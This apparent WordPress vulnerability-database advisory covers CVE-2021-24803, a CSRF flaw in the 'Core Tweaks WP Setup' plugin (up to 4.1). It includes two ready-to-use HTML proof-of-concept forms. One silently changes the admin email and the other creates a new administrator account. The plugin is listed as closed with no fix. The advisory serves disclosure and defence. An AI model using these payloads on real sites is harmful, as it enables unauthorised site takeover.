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WordPress Plugin Vulnerabilities

Core Tweaks WP Setup <= 4.1 - Arbitrary Admin Account Creation / Admin Email Update via CSRF

Description

The plugin allows to bulk-set many settings in WordPress, including the admin email, as well as creating a new admin account. There is no CSRF protection in place, allowing an attacker to arbitrary change the admin email or create another admin account and takeover the website via CSRF attacks

Proof of Concept

Change current admin email (then attacker can request a password change via the login form)
<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=seo-automatic-wp-core-tweaks%2Fsettings.php" method="POST">
      <input type="hidden" name="action" value="changecore" />
      <input type="hidden" name="email_2" value="ON" />
      <input type="hidden" name="admin_email" value="[email protected]" />
      <input type="hidden" name="submit" value="Make the Changes." />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Add a new admin account:
<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=seo-automatic-wp-core-tweaks%2Fsettings.php" method="POST">
      <input type="hidden" name="action" value="changecore" />
      <input type="hidden" name="new_user" value="ON" />
      <input type="hidden" name="new_login" value="admin-csrf" />
      <input type="hidden" name="new_pass" value="Passw0rd" />
      <input type="hidden" name="new_email" value="[email protected]" />
      <input type="hidden" name="submit" value="Make the Changes." />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html> 

Affects Plugins

seo-automatic-wp-core-tweaks
No known fix - plugin closed

References

CVE
CVE-2021-24803

Classification

Type

CSRF

OWASP top 10
A2: Broken Authentication and Session Management
CWE
CWE-352

Miscellaneous

Original Researcher

Francesco Carlucci

Submitter

Francesco Carlucci

Submitter website
https://carluc.ci
Submitter twitter
francecarlucci
Verified

Yes

WPVDB ID
97adac02-4163-48d4-ba14-0b1badfd3d42

Timeline

Publicly Published

2021-10-21 (about 7 months ago)

Added

2022-01-26 (about 3 months ago)

Last Updated

2022-04-08 (about 1 months ago)

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